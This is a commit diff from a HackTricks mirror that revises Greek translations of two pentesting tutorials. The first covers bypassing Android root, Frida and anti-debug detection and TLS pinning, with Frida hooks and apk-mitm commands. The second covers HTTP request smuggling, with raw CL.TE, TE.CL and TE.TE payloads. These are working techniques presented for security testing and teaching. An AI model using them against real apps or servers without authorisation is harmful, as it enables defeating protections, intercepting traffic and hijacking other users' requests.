mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.
This commit is contained in:
parent
27d427d43c
commit
6970e85222
@ -2,30 +2,30 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτή η σελίδα παρέχει μια πρακτική ροή εργασίας για την αποκατάσταση δυναμικής ανάλυσης κατά των Android εφαρμογών που ανιχνεύουν/μπλοκάρουν την οργάνωση ή επιβάλλουν TLS pinning. Επικεντρώνεται σε γρήγορη αξιολόγηση, κοινές ανιχνεύσεις και αντιγραφές-επικολλήσεις hooks/tactics για να τις παρακάμψει χωρίς επανασυσκευασία όταν είναι δυνατόν.
|
||||
Αυτή η σελίδα παρέχει μια πρακτική ροή εργασίας για να επανακτήσετε τη δυναμική ανάλυση σε Android apps που εντοπίζουν/μπλοκάρουν instrumentation λόγω root ή επιβάλλουν TLS pinning. Επικεντρώνεται σε γρήγορο triage, συνήθεις εντοπισμούς και copy‑pasteable hooks/tactics για να τα παρακάμψετε χωρίς repacking όπου είναι δυνατόν.
|
||||
|
||||
## Detection Surface (τι ελέγχουν οι εφαρμογές)
|
||||
## Detection Surface (what apps check)
|
||||
|
||||
- Έλεγχοι root: su binary, Magisk paths, getprop values, κοινά root packages
|
||||
- Έλεγχοι Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), σάρωση /proc, classpath, loaded libs
|
||||
- Root checks: su binary, Magisk paths, getprop values, common root packages
|
||||
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), σάρωση /proc, classpath, φορτωμένες libs
|
||||
- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
|
||||
- Έλεγχοι πρώιμης αρχικοποίησης: Application.onCreate() ή hooks εκκίνησης διαδικασίας που καταρρέουν αν υπάρχει οργάνωση
|
||||
- Early init checks: Application.onCreate() ή process start hooks που προκαλούν crash αν υπάρχει instrumentation
|
||||
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
|
||||
|
||||
## Step 1 — Γρήγορη νίκη: κρύψε το root με Magisk DenyList
|
||||
## Step 1 — Quick win: hide root with Magisk DenyList
|
||||
|
||||
- Ενεργοποίησε το Zygisk στο Magisk
|
||||
- Ενεργοποίησε το DenyList, πρόσθεσε το στοχευμένο πακέτο
|
||||
- Επανεκκίνηση και επαναδοκιμή
|
||||
- Enable Zygisk in Magisk
|
||||
- Enable DenyList, add the target package
|
||||
- Reboot and retest
|
||||
|
||||
Πολλές εφαρμογές κοιτούν μόνο προφανείς δείκτες (su/Magisk paths/getprop). Το DenyList συχνά εξουδετερώνει τις απλές ελέγχους.
|
||||
Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks.
|
||||
|
||||
References:
|
||||
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
||||
|
||||
## Step 2 — Δοκιμές Frida Codeshare 30 δευτερολέπτων
|
||||
## Step 2 — 30‑second Frida Codeshare tests
|
||||
|
||||
Δοκίμασε κοινά drop‑in scripts πριν εμβαθύνεις:
|
||||
Try common drop‑in scripts before deep diving:
|
||||
|
||||
- anti-root-bypass.js
|
||||
- anti-frida-detection.js
|
||||
@ -35,24 +35,24 @@ Example:
|
||||
```bash
|
||||
frida -U -f com.example.app -l anti-frida-detection.js
|
||||
```
|
||||
Αυτά συνήθως αποτυπώνουν ελέγχους Java root/debug, σαρώσεις διαδικασιών/υπηρεσιών και native ptrace(). Χρήσιμα σε ελαφρώς προστατευμένες εφαρμογές; οι σκληρές στόχοι μπορεί να χρειάζονται προσαρμοσμένα hooks.
|
||||
Αυτά συνήθως δημιουργούν stubs για ελέγχους Java root/debug, σαρώσεις process/service, και native ptrace(). Χρήσιμα σε lightly protected apps; hardened targets μπορεί να χρειαστούν tailored hooks.
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
## Βήμα 3 — Παράκαμψη ανιχνευτών κατά την αρχικοποίηση με καθυστερημένη σύνδεση
|
||||
## Βήμα 3 — Παρακάμψτε τους ανιχνευτές init-time συνδέοντας αργότερα
|
||||
|
||||
Πολλές ανιχνεύσεις εκτελούνται μόνο κατά τη διάρκεια της δημιουργίας διαδικασίας/onCreate(). Η ένεση κατά τη διάρκεια της δημιουργίας (-f) ή τα gadgets πιάνονται; η σύνδεση μετά τη φόρτωση της διεπαφής χρήστη μπορεί να περάσει απαρατήρητη.
|
||||
Πολλές ανιχνεύσεις τρέχουν μόνο κατά το process spawn/onCreate(). Spawn‑time injection (-f) ή gadgets ανακαλύπτονται; το να συνδεθείς μετά το φόρτωμα της UI μπορεί να περάσει απαρατήρητο.
|
||||
```bash
|
||||
# Launch the app normally (launcher/adb), wait for UI, then attach
|
||||
frida -U -n com.example.app
|
||||
# Or with Objection to attach to running process
|
||||
aobjection --gadget com.example.app explore # if using gadget
|
||||
```
|
||||
Αν αυτό λειτουργεί, διατηρήστε τη συνεδρία σταθερή και προχωρήστε σε έλεγχο χαρτογράφησης και stub.
|
||||
Αν αυτό λειτουργήσει, διατηρήστε τη συνεδρία σταθερή και προχωρήστε σε map και stub checks.
|
||||
|
||||
## Βήμα 4 — Χαρτογράφηση λογικής ανίχνευσης μέσω Jadx και αναζήτησης συμβολοσειρών
|
||||
## Βήμα 4 — Χαρτογράφηση της λογικής ανίχνευσης μέσω Jadx και αναζήτηση συμβολοσειρών
|
||||
|
||||
Στατικά λέξεις-κλειδιά τριγιάζ στην Jadx:
|
||||
Στατικές λέξεις-κλειδιά για triage στο Jadx:
|
||||
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
||||
|
||||
Τυπικά μοτίβα Java:
|
||||
@ -61,7 +61,7 @@ public boolean isFridaDetected() {
|
||||
return getRunningServices().contains("frida");
|
||||
}
|
||||
```
|
||||
Κοινές APIs για αναθεώρηση/σύνδεση:
|
||||
Συνηθισμένα APIs για ανασκόπηση/hook:
|
||||
- android.os.Debug.isDebuggerConnected
|
||||
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
||||
- java.lang.System.loadLibrary / System.load (native bridge)
|
||||
@ -70,7 +70,7 @@ return getRunningServices().contains("frida");
|
||||
|
||||
## Βήμα 5 — Runtime stubbing με Frida (Java)
|
||||
|
||||
Αντικαταστήστε τις προσαρμοσμένες φρουρές για να επιστρέψετε ασφαλείς τιμές χωρίς επανασυσκευασία:
|
||||
Παράκαμψε custom guards για να επιστρέφουν ασφαλείς τιμές χωρίς repacking:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Checks = Java.use('com.example.security.Checks');
|
||||
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
|
||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||
});
|
||||
```
|
||||
Εκτίμηση πρώιμων κρασών; Ρίξτε τις κλάσεις λίγο πριν πεθάνει για να εντοπίσετε πιθανές ονομασίες ανίχνευσης:
|
||||
Αναλύεις πρώιμες καταρρεύσεις; Dump classes λίγο πριν καταρρεύσει για να εντοπίσεις πιθανά detection namespaces:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
Java.enumerateLoadedClasses({
|
||||
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
|
||||
});
|
||||
});
|
||||
```
|
||||
Καταγράψτε και αποδυναμώστε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης:
|
||||
Καταγράψτε και αδρανοποιήστε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Det = Java.use('com.example.security.DetectionManager');
|
||||
@ -104,24 +104,24 @@ return false;
|
||||
};
|
||||
});
|
||||
```
|
||||
## Βήμα 6 — Ακολουθήστε το μονοπάτι JNI/native όταν οι Java hooks αποτύχουν
|
||||
## Βήμα 6 — Ακολουθήστε το JNI/native μονοπάτι όταν τα Java hooks αποτυγχάνουν
|
||||
|
||||
Ακολουθήστε τα σημεία εισόδου JNI για να εντοπίσετε τους εγγενείς φορτωτές και την αρχικοποίηση ανίχνευσης:
|
||||
Ανιχνεύστε τα JNI entry points για να εντοπίσετε native loaders και detection init:
|
||||
```bash
|
||||
frida-trace -n com.example.app -i "JNI_OnLoad"
|
||||
```
|
||||
Γρήγορη εγγενής τριχοτόμηση των συσκευασμένων αρχείων .so:
|
||||
Γρήγορος εγγενής έλεγχος των ενσωματωμένων αρχείων .so:
|
||||
```bash
|
||||
# List exported symbols & JNI
|
||||
nm -D libfoo.so | head
|
||||
objdump -T libfoo.so | grep Java_
|
||||
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
|
||||
```
|
||||
Διαδραστική/εγγενής αναστροφή:
|
||||
Διαδραστική/εγγενής reversing:
|
||||
- Ghidra: https://ghidra-sre.org/
|
||||
- r2frida: https://github.com/nowsecure/r2frida
|
||||
|
||||
Παράδειγμα: neuter ptrace για να νικήσετε την απλή anti‑debug στο libc:
|
||||
Παράδειγμα: αδρανοποιήστε ptrace για να παρακάμψετε απλό anti‑debug σε libc:
|
||||
```js
|
||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||
if (ptrace) {
|
||||
@ -130,40 +130,43 @@ return -1; // pretend failure
|
||||
}, 'int', ['int', 'int', 'pointer', 'pointer']));
|
||||
}
|
||||
```
|
||||
Δείτε επίσης: {{#ref}}
|
||||
Δείτε επίσης:
|
||||
{{#ref}}
|
||||
reversing-native-libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## Βήμα 7 — Patching με Objection (embed gadget / strip basics)
|
||||
## Βήμα 7 — Objection patching (embed gadget / strip basics)
|
||||
|
||||
Όταν προτιμάτε το repacking από τα runtime hooks, δοκιμάστε:
|
||||
Αν προτιμάτε το repacking αντί των runtime hooks, δοκιμάστε:
|
||||
```bash
|
||||
objection patchapk --source app.apk
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Απαιτείται το apktool; βεβαιωθείτε ότι έχετε μια τρέχουσα έκδοση από τον επίσημο οδηγό για να αποφύγετε προβλήματα κατά την κατασκευή: https://apktool.org/docs/install
|
||||
- Η έγχυση gadget επιτρέπει την παρακολούθηση χωρίς root αλλά μπορεί να ανιχνευθεί από ισχυρότερους ελέγχους κατά την εκκίνηση.
|
||||
- Απαιτεί apktool· βεβαιωθείτε ότι έχετε μια ενημερωμένη έκδοση από τον επίσημο οδηγό για να αποφύγετε προβλήματα κατά το build: https://apktool.org/docs/install
|
||||
- Gadget injection επιτρέπει instrumentation χωρίς root αλλά μπορεί ακόμα να εντοπιστεί από ισχυρότερους init‑time ελέγχους.
|
||||
|
||||
Αναφορές:
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
|
||||
## Βήμα 8 — Εναλλακτική: Διορθώστε το TLS pinning για ορατότητα δικτύου
|
||||
## Βήμα 8 — Εφεδρική λύση: Επιδιόρθωση TLS pinning για ορατότητα δικτύου
|
||||
|
||||
Εάν η παρακολούθηση είναι αποκλεισμένη, μπορείτε να ελέγξετε την κίνηση αφαιρώντας το pinning στατικά:
|
||||
Εάν η instrumentation είναι μπλοκαρισμένη, μπορείτε ακόμη να εξετάσετε την κίνηση αφαιρώντας στατικά το pinning:
|
||||
```bash
|
||||
apk-mitm app.apk
|
||||
# Then install the patched APK and proxy via Burp/mitmproxy
|
||||
```
|
||||
- Εργαλείο: https://github.com/shroudedcode/apk-mitm
|
||||
- Για κόλπα εμπιστοσύνης CA για ρυθμίσεις δικτύου (και εμπιστοσύνη CA χρηστών Android 7+), δείτε:
|
||||
- Για κόλπα CA‑trust στη ρύθμιση δικτύου (και Android 7+ user CA trust), δείτε:
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
install-burp-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
## Χρήσιμο φύλλο εντολών
|
||||
## Χρήσιμη λίστα εντολών
|
||||
```bash
|
||||
# List processes and attach
|
||||
frida-ps -Uai
|
||||
@ -181,12 +184,12 @@ objection --gadget com.example.app explore
|
||||
# Static TLS pinning removal
|
||||
apk-mitm app.apk
|
||||
```
|
||||
## Συμβουλές & προειδοποιήσεις
|
||||
## Συμβουλές & επιφυλάξεις
|
||||
|
||||
- Προτιμήστε την προσκόλληση αργά αντί για την εκκίνηση όταν οι εφαρμογές καταρρέουν κατά την εκκίνηση
|
||||
- Ορισμένες ανιχνεύσεις επαναλαμβάνονται σε κρίσιμες ροές (π.χ., πληρωμή, αυθεντικοποίηση) — διατηρήστε τα hooks ενεργά κατά τη διάρκεια της πλοήγησης
|
||||
- Συνδυάστε στατικό και δυναμικό: αναζητήστε συμβολοσειρές στο Jadx για να επιλέξετε κλάσεις; στη συνέχεια, συνδέστε μεθόδους για να επαληθεύσετε σε χρόνο εκτέλεσης
|
||||
- Οι σκληρές εφαρμογές μπορεί να χρησιμοποιούν packers και εγγενές TLS pinning — περιμένετε να αναστρέψετε εγγενή κώδικα
|
||||
- Προτιμήστε το attaching αργότερα αντί για spawning όταν οι apps crash κατά το launch
|
||||
- Ορισμένες detections επανεκτελούνται σε κρίσιμες ροές (π.χ., payment, auth) — κρατήστε τα hooks ενεργά κατά την πλοήγηση
|
||||
- Συνδυάστε static και dynamic: string hunt στο Jadx για να καταρτίσετε μια σύντομη λίστα με classes; στη συνέχεια hook methods για να επαληθεύσετε στο runtime
|
||||
- Οι hardened apps μπορεί να χρησιμοποιούν packers και native TLS pinning — αναμένετε να reverse native code
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -2,63 +2,64 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Τι είναι
|
||||
|
||||
Αυτή η ευπάθεια συμβαίνει όταν μια **αποσυγχρονισμένη** κατάσταση μεταξύ των **proxy front-end** και του **server back-end** επιτρέπει σε έναν **επιτιθέμενο** να **στείλει** ένα HTTP **request** που θα **ερμηνευθεί** ως **ένα μόνο request** από τους **proxy front-end** (load balance/reverse-proxy) και **ως 2 requests** από τον **server back-end**.\
|
||||
Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον server back-end μετά το δικό του**.
|
||||
Αυτή η ευπάθεια συμβαίνει όταν υπάρχει **αποσυγχρονισμός** μεταξύ των **front-end proxies** και του **back-end** server που επιτρέπει σε έναν **attacker** να **στείλει** ένα HTTP **request** που θα **ερμηνευτεί** ως **ένα μόνο request** από τους **front-end** proxies (load balance/reverse-proxy) και **ως 2 requests** από τον **back-end** server.\
|
||||
Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον back-end server μετά το δικό του**.
|
||||
|
||||
### Θεωρία
|
||||
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> Εάν ληφθεί ένα μήνυμα με τόσο πεδίο κεφαλίδας Transfer-Encoding όσο και πεδίο κεφαλίδας Content-Length, το τελευταίο ΠΡΕΠΕΙ να αγνοηθεί.
|
||||
> Εάν ένα μήνυμα ληφθεί με πεδίο κεφαλίδας Transfer-Encoding και πεδίο κεφαλίδας Content-Length, το τελευταίο ΠΡΕΠΕΙ να αγνοηθεί.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> Η κεφαλίδα Content-Length υποδεικνύει το μέγεθος του σώματος της οντότητας, σε bytes, που αποστέλλεται στον παραλήπτη.
|
||||
> Η οντότητα-κεφαλίδα Content-Length υποδεικνύει το μέγεθος του entity-body, σε bytes, που στέλνεται στον παραλήπτη.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Η κεφαλίδα Transfer-Encoding προσδιορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του σώματος του payload στον χρήστη.\
|
||||
> Το Chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά κομματιών.
|
||||
> Η κεφαλίδα Transfer-Encoding καθορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του payload body στον χρήστη.\
|
||||
> Chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά από chunks
|
||||
|
||||
### Πραγματικότητα
|
||||
|
||||
Οι **Front-End** (ένα load-balance / Reverse Proxy) **επεξεργάζονται** την κεφαλίδα _**content-length**_ ή την κεφαλίδα _**transfer-encoding**_ και ο **Back-end** server **επεξεργάζεται την άλλη** προκαλώντας μια **αποσυγχρονισμένη** κατάσταση μεταξύ των 2 συστημάτων.\
|
||||
Αυτό μπορεί να είναι πολύ κρίσιμο καθώς **ένας επιτιθέμενος θα είναι σε θέση να στείλει ένα request** στον reverse proxy που θα **ερμηνευθεί** από τον **server back-end** **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο γεγονός ότι ο **server back-end** **θα ερμηνεύσει** το **2ο request που εισάγεται** σαν να **προήλθε από τον επόμενο πελάτη** και το **πραγματικό request** αυτού του πελάτη θα είναι **μέρος** του **εισαγμένου request**.
|
||||
Ο **Front-End** (load-balance / Reverse Proxy) **επεξεργάζεται** την κεφαλίδα _**Content-Length**_ ή την _**Transfer-Encoding**_ και ο **Back-end** server **επεξεργάζεται την άλλη**, προκαλώντας **αποσυγχρονισμό** μεταξύ των δύο συστημάτων.\
|
||||
Αυτό μπορεί να είναι πολύ κρίσιμο καθώς **ένας attacker θα μπορέσει να στείλει ένα request** στον reverse proxy που ο **back-end** server θα **ερμηνεύσει** **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο ότι ο **back-end** server **θα ερμηνεύσει** το **2ο εισαγόμενο request** σαν να **προήλθε από τον επόμενο client** και το **πραγματικό request** αυτού του client θα γίνει **μέρος** του **εισαχθέντος request**.
|
||||
|
||||
### Ιδιαιτερότητες
|
||||
### Ιδιαίτερα χαρακτηριστικά
|
||||
|
||||
Θυμηθείτε ότι στο HTTP **ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:**
|
||||
|
||||
- **Content-Length**: Αυτή η κεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **σώματος** του request. Το σώμα αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, **μια νέα γραμμή δεν είναι απαραίτητη στο τέλος του request**.
|
||||
- **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **σώμα** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου κομματιού**. Το **chunk** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν μετράται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
|
||||
- **Connection**: Βασισμένο στην εμπειρία μου, συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request της τεχνικής Smuggling.
|
||||
- **Content-Length**: Αυτή η κεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **body** του request. Το body αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, **δεν απαιτείται νέα γραμμή στο τέλος του request**.
|
||||
- **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **body** έναν **δεκαεξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου chunk**. Το **chunk** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν συμπεριλαμβάνεται** στον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
|
||||
- **Connection**: Βάσει της εμπειρίας μου συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request του request Smuggling.
|
||||
|
||||
## Βασικά Παραδείγματα
|
||||
|
||||
> [!TIP]
|
||||
> Όταν προσπαθείτε να εκμεταλλευτείτε αυτό με το Burp Suite **απενεργοποιήστε το `Update Content-Length` και το `Normalize HTTP/1 line endings`** στον επαναλήπτη γιατί ορισμένα gadgets εκμεταλλεύονται τις νέες γραμμές, τις επιστροφές καροτσιού και τα κακώς διαμορφωμένα content-lengths.
|
||||
> Όταν προσπαθείτε να το εκμεταλλευτείτε με Burp Suite **απενεργοποιήστε τα `Update Content-Length` και `Normalize HTTP/1 line endings`** στο repeater επειδή κάποια gadgets εκμεταλλεύονται νέες γραμμές, carriage returns και ελαττωματικά content-lengths.
|
||||
|
||||
Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας ασαφή requests που εκμεταλλεύονται τις διαφορές στον τρόπο που οι servers front-end και back-end ερμηνεύουν τις κεφαλίδες `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εκδηλωθούν σε διάφορες μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι servers front-end και back-end δίνουν προτεραιότητα σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από την επεξεργασία του ίδιου request από τους servers με διαφορετικούς τρόπους, οδηγώντας σε απροσδόκητα και δυνητικά κακόβουλα αποτελέσματα.
|
||||
Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας αμφίσημα requests που εκμεταλλεύονται διαφορές στον τρόπο που οι front-end και back-end servers ερμηνεύουν τις κεφαλίδες `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εμφανιστούν σε διαφορετικές μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι front-end και back-end servers δίνουν προτεραιότητα σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από το γεγονός ότι οι servers επεξεργάζονται το ίδιο request με διαφορετικούς τρόπους, οδηγώντας σε απρόβλεπτα και ενδεχομένως κακόβουλα αποτελέσματα.
|
||||
|
||||
### Βασικά Παραδείγματα Τύπων Ευπάθειας
|
||||
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως η τεχνική CL.0 αλλά χρησιμοποιώντας Transfer Encoding.
|
||||
> Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως την τεχνική CL.0 αλλά χρησιμοποιώντας Transfer Encoding.
|
||||
|
||||
#### CL.TE Ευπάθεια (Content-Length χρησιμοποιούμενη από Front-End, Transfer-Encoding χρησιμοποιούμενη από Back-End)
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
- **Front-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`.
|
||||
- **Back-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`.
|
||||
- **Σενάριο Επίθεσης:**
|
||||
- **Front-End (CL):** Επεξεργάζεται το request βάσει της κεφαλίδας `Content-Length`.
|
||||
- **Back-End (TE):** Επεξεργάζεται το request βάσει της κεφαλίδας `Transfer-Encoding`.
|
||||
- **Σενάριο επίθεσης:**
|
||||
|
||||
- Ο επιτιθέμενος στέλνει ένα request όπου η τιμή της κεφαλίδας `Content-Length` δεν ταιριάζει με το πραγματικό μήκος περιεχομένου.
|
||||
- Ο server front-end προωθεί ολόκληρο το request στον back-end, με βάση την τιμή `Content-Length`.
|
||||
- Ο server back-end επεξεργάζεται το request ως chunked λόγω της κεφαλίδας `Transfer-Encoding: chunked`, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ένα ξεχωριστό, επόμενο request.
|
||||
- **Παράδειγμα:**
|
||||
- Ο attacker στέλνει ένα request όπου η τιμή της κεφαλίδας `Content-Length` δεν ταιριάζει με το πραγματικό μήκος του περιεχομένου.
|
||||
- Ο front-end server προωθεί ολόκληρο το request στον back-end με βάση την τιμή της `Content-Length`.
|
||||
- Ο back-end server επεξεργάζεται το request ως chunked λόγω της κεφαλίδας `Transfer-Encoding: chunked`, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ξεχωριστό, επακόλουθο request.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -73,16 +74,16 @@ GET /404 HTTP/1.1
|
||||
Foo: x
|
||||
```
|
||||
|
||||
#### TE.CL Ευπάθεια (Transfer-Encoding χρησιμοποιούμενη από Front-End, Content-Length χρησιμοποιούμενη από Back-End)
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
|
||||
- **Front-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`.
|
||||
- **Back-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`.
|
||||
- **Σενάριο Επίθεσης:**
|
||||
- **Front-End (TE):** Επεξεργάζεται το request βάσει της κεφαλίδας `Transfer-Encoding`.
|
||||
- **Back-End (CL):** Επεξεργάζεται το request βάσει της κεφαλίδας `Content-Length`.
|
||||
- **Σενάριο επίθεσης:**
|
||||
|
||||
- Ο επιτιθέμενος στέλνει ένα chunked request όπου το μέγεθος του chunk (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται.
|
||||
- Ο server front-end, τιμώντας το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end.
|
||||
- Ο server back-end, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας το υπόλοιπο ως μέρος ενός μη προγραμματισμένου επόμενου request.
|
||||
- **Παράδειγμα:**
|
||||
- Ο attacker στέλνει ένα chunked request όπου το μέγεθος chunk (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται.
|
||||
- Ο front-end server, τιμώντας το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end.
|
||||
- Ο back-end server, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας το υπόλοιπο ως μέρος ενός ανεπιθύμητου επακόλουθου request.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -102,15 +103,15 @@ x=
|
||||
|
||||
```
|
||||
|
||||
#### TE.TE Ευπάθεια (Transfer-Encoding χρησιμοποιούμενη και από τους δύο, με παραπλάνηση)
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **Servers:** Και οι δύο υποστηρίζουν το `Transfer-Encoding`, αλλά ένας μπορεί να παραπλανηθεί ώστε να το αγνοήσει μέσω παραπλάνησης.
|
||||
- **Σενάριο Επίθεσης:**
|
||||
- **Servers:** Και οι δύο υποστηρίζουν `Transfer-Encoding`, αλλά ο ένας μπορεί να ξεγελαστεί ώστε να το αγνοήσει μέσω αποπροσανατολισμού/obfuscation.
|
||||
- **Σενάριο επίθεσης:**
|
||||
|
||||
- Ο επιτιθέμενος στέλνει ένα request με παραπλανημένες κεφαλίδες `Transfer-Encoding`.
|
||||
- Ανάλογα με το ποιος server (front-end ή back-end) αποτυγχάνει να αναγνωρίσει την παραπλάνηση, μπορεί να εκμεταλλευτεί μια ευπάθεια CL.TE ή TE.CL.
|
||||
- Το μη επεξεργασμένο μέρος του request, όπως το βλέπει ένας από τους servers, γίνεται μέρος ενός επόμενου request, οδηγώντας σε smuggling.
|
||||
- **Παράδειγμα:**
|
||||
- Ο attacker στέλνει ένα request με αποπροσανατολισμένες κεφαλίδες `Transfer-Encoding`.
|
||||
- Ανάλογα με το ποιος server (front-end ή back-end) δεν αναγνωρίσει την αποπροσανατολισμένη μορφή, μπορεί να εκμεταλλευτεί ένα CL.TE ή TE.CL vulnerability.
|
||||
- Το μη επεξεργασμένο μέρος του request, όπως φαίνεται από έναν από τους servers, γίνεται μέρος ενός επακόλουθου request, οδηγώντας σε smuggling.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -129,11 +130,11 @@ Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL Σενάριο (Content-Length χρησιμοποιούμενη και από τους Front-End και Back-End)**
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- Και οι δύο servers επεξεργάζονται το request βασισμένο αποκλειστικά στην κεφαλίδα `Content-Length`.
|
||||
- Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει ευθυγράμμιση στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request.
|
||||
- **Παράδειγμα:**
|
||||
- Και οι δύο servers επεξεργάζονται το request αποκλειστικά βάσει της κεφαλίδας `Content-Length`.
|
||||
- Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει συμφωνία στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request.
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -144,11 +145,11 @@ Connection: keep-alive
|
||||
Normal Request
|
||||
```
|
||||
|
||||
#### **CL.0 Σενάριο**
